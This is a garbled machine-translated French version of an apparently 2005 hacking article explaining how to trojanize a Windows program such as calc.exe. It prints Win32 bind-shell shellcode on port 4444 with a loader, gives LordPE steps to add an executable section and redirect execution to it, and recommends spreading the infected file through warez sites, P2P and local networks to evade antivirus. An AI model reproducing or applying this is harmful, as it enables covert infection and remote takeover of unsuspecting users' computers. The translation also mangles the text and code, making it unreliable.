La façon idéale de se propager du code malveillant


Le moyen idéal pour propager du code "malveillant"
Auteur: Proteus [[email protected]]

Ce que vous devez:
1. LordPE par Yoda
2. W32Dasm
3. peid
4. TOPO
5. Eh bien, estessno nekrivye Rica;)

entrée

4to dirait qu'il n'y a pas, mais le Borg ne siègent pas autour ...
Il est révolu le plus "délicieux" trous, qui il y a quelques mois, il ne faisait pas partie des machines non protégées tysya4u Ruta. Maintenant, et injecter son code dans l'espace adressnoe "confiance" le processus ne surprendra personne. Même les feux d'artifice stupides nau4iis à traiter avec elle. Maintenant, trouver des moyens pour sophistiqués les uns les autres, mais si longtemps ne restent pas sans un «vaccin». Je suggère dans l'article décrit une méthode simple pour distribuer le «mal» (sous le "mal" Je ne veux pas nécessairement trojans, rootkits, etc., il peut être caché et visites de s4et4ik banales à votre logiciel de ska4ki des ressources, certaines statistiques , en général, tous les 4Pour parfois utile) Code par son introduction préliminaire au produit binaire "nécessaire" de sacrifice.

Faites le point

"Le canard leurre" de Sna4ala pour la victime - un fichier qui devrait soi-disant ska4at et courir à la victime. Ici, je vous ai, mon 4itatel curieux, une totale liberté de choix! Kone4no, DLLki melkosofta avec un certificat - choix de ne pas lu4shy, mais certains shareware sur un produit abstrait d'approches communes peut être très utile. Nous ne nous contentons pas être méchants, prenons calc.exe oby4ny du% Systemroot% (4to ou toute autre chose) et formerons sur elle ...

Préparation du code "mal"

Pour 4toby 4to quelque chose infect, ajouter un peu de code caché, vous devez préparer avant. Ici, nous allons faire sey4as. J'ai décidé de rester à la bindshelle banale - bien qu'il soit possible de faire et de télécharger un fichier à partir du réseau, en changeant \ supprimer les règles de feux d'artifice - et lui a préparé shellcode:

// Bindshell win32 sur le port 4444
#include
shellcode char [] = "\ x31"
"\ XC9 \ x83 \ XE9 \ xaf \ XD9 \ xee \ XD9 \ x74 \ x24 \ XF4 \ X5b \ x81 \ x73 \ x13 \ x92"
"\ X35 \ x88 \ x95 \ x83 \ XEB \ xfc \ xe2 \ XF4 \ x6e \ x5f \ x63 \ xda \ X7A \ xcc \ x77 \ X6a"
"\ X6D \ x55 \ x03 \ XF9 \ XB6 \ x11 \ x03 \ xd0 \ XAE \ xbe \ XF4 \ x90 \ xea \ x34 \ x67 \ x1e"
"\ Xdd \ X2D \ x03 \ xca \ XB2 \ x34 \ x63 \ x76 \ XA2 \ x7c \ x03 \ xa1 \ x19 \ x34 \ x66 \ XA4"
"\ X52 \ xac \ x24 \ x11 \ x52 \ x41 \ X8F \ x54 \ x58 \ x38 \ x89 \ x57 \ x79 \ xc1 \ xB3 \ xc1"
"\ XB6 \ X1D \ xfd \ x76 \ x19 \ X6a \ xac \ x94 \ x79 \ x53 \ x03 \ x99 \ XD9 \ xbe \ XD7 \ x89"
"\ X93 \ xde \ X8B \ XB9 \ x19 \ XBC \ XE4 \ xB1 \ X8E \ x54 \ X4b \ XA4 \ x52 \ x51 \ x03 \ XD5"
"\ Xa2 \ xbe \ XC8 \ x99 \ x19 \ x45 \ x94 \ x38 \ x19 \ x75 \ x80 \ xcb \ xfa \ xbb \ XC6 \ X9b"
"\ X7E \ x65 \ x77 \ x43 \ XA3 \ xee \ xee \ XC6 \ XF4 \ X5D \ xbb \ xa7 \ xfa \ x42 \ xfb \ xa7"
"\ Xcd \ x61 \ x77 \ x45 \ xfa \ xfe \ x65 \ x69 \ xA9 \ x65 \ x77 \ x43 \ xcd \ XBC \ X6D \ XF3"
"\ X13 \ xd8 \ x80 \ x97 \ XC7 \ x5f \ X8a \ X6a \ x42 \ X5D \ x51 \ x9c \ x67 \ x98 \ xdf \ X6a"
"\ X44 \ x66 \ xdb \ XC6 \ xc1 \ x66 \ xcb \ XC6 \ xd1 \ x66 \ x77 \ x45 \ XF4 \ X5D \ x99 \ XC9"
"\ XF4 \ x66 \ x01 \ x74 \ x07 \ X5D \ X2C \ X8F \ xe2 \ xf2 \ xdf \ X6a \ x44 \ x5f \ x98 \ XC4"
"\ XC7 \ xca \ x58 \ xfd \ x36 \ x98 \ XA6 \ x7c \ XC5 \ xca \ x5e \ XC6 \ XC7 \ xca \ x58 \ xfd"
"\ X77 \ x7c \ X0E \ xdc \ XC5 \ xca \ x5e \ XC5 \ XC6 \ x61 \ xdd \ X6a \ x42 \ XA6 \ xE0 \ x72"
"\ XEB \ XF3 \ xf1 \ xc2 \ X6D \ xe3 \ xdd \ X6a \ x42 \ x53 \ xe2 \ xf1 \ XF4 \ X5D \ XEB \ XF8"
"\ X1b \ xd0 \ xe2 \ XC5 \ xcb \ x1c \ x44 \ x1c \ x75 \ x5f \ xcc \ x1c \ x70 \ x04 \ x48 \ x66"
"\ X38 \ xcb \ xca \ XB8 \ x6c \ x77 \ XA4 \ x06 \ x1f \ X4F \ XB0 \ X3e \ x39 \ X9E \ xE0 \ XE7"
"\ X6c \ x86 \ X9E \ X6a \ XE7 \ x71 \ x77 \ x43 \ XC9 \ x62 \ xda \ XC4 \ xc3 \ x64 \ xe2 \ x94"
"\ Xc3 \ x64 \ xdd \ XC4 \ X6D \ xe5 \ xE0 \ x38 \ X4b \ x30 \ x46 \ XC6 \ X6D \ xe3 \ xe2 \ X6a"
"\ X6D \ x02 \ x77 \ x45 \ x19 \ x62 \ x74 \ x16 \ x56 \ x51 \ x77 \ x43 \ xc0 \ xca \ x58 \ xfd"
"\ X62 \ XBF \ X8c \ xca \ xc1 \ xca \ x5e \ X6a \ x42 \ x35 \ x88 \ x95";

int
main () {
void (* funct) ();
(Long) fonct = & shellcode;
fonct ();}

Maintenant compiler un programme qui effectue le shellcode et utiliser l'utilitaire sauve LordPE contenant sa section de données (portbind).


Convertir le shellcode dans la section de données

Prakti4eskaya 4ast

Puis charger le fichier dans LordPE «victime» et le télécharger portbind section de données supplémentaires (ne pas oublier de changer son drapeau sur E0000020, le code ina4e ne peut pas être exécuté!) Et rappelez-vous son décalage (elle est égale à D7000 dans mon dossier)

Loaded un fichier contenant section shellcode

Maintenant, il ne reste plus qu'à trouver un vide dans le programme de la victime (ou jamais réalisée à des vérifications) et introduire à la place zagruz4ik notre shellcode. Je l'ai fait comme ceci:

Je mis en œuvre zagruz4ik shellcode

Je pense que tout est clair, le code est exécuté au D7000. Et là, comme nous le rappelons, contient shellcode.

lancement uda4ny du code «mal» (shellcode utilisé par l'autre)

Après son lancement, le programme revient à l'exécution de "leur" corps ...

propagation

Basé sur le principe de «l'infection de code malveillant," avtomati4eski disparaître les problèmes de lutte contre les antivirus, pare-feu. Et pas étonnant, puisque l'utilisateur pensera 4to effectue toutes les actions pas notre application shellcode et la confiance déployée par lui et lui permettra à toute activité. D'accord, parce que pour arriver à notre "mal" dans le code binaire ne peut pas chaque odino4ku utilisateur. Et si vous utilisez tout type de conditionneurs, notre code serait à jamais un mystère!
Le seul problème est, la méthode d'infection ograni4ennost code "malveillant". Je vois le moyen le plus sûr de sa distribution de masse dans les portails de warez, un p2p, ou tout simplement enfin dans les réseaux urbains.

gl hf 2 tous
04.06.2005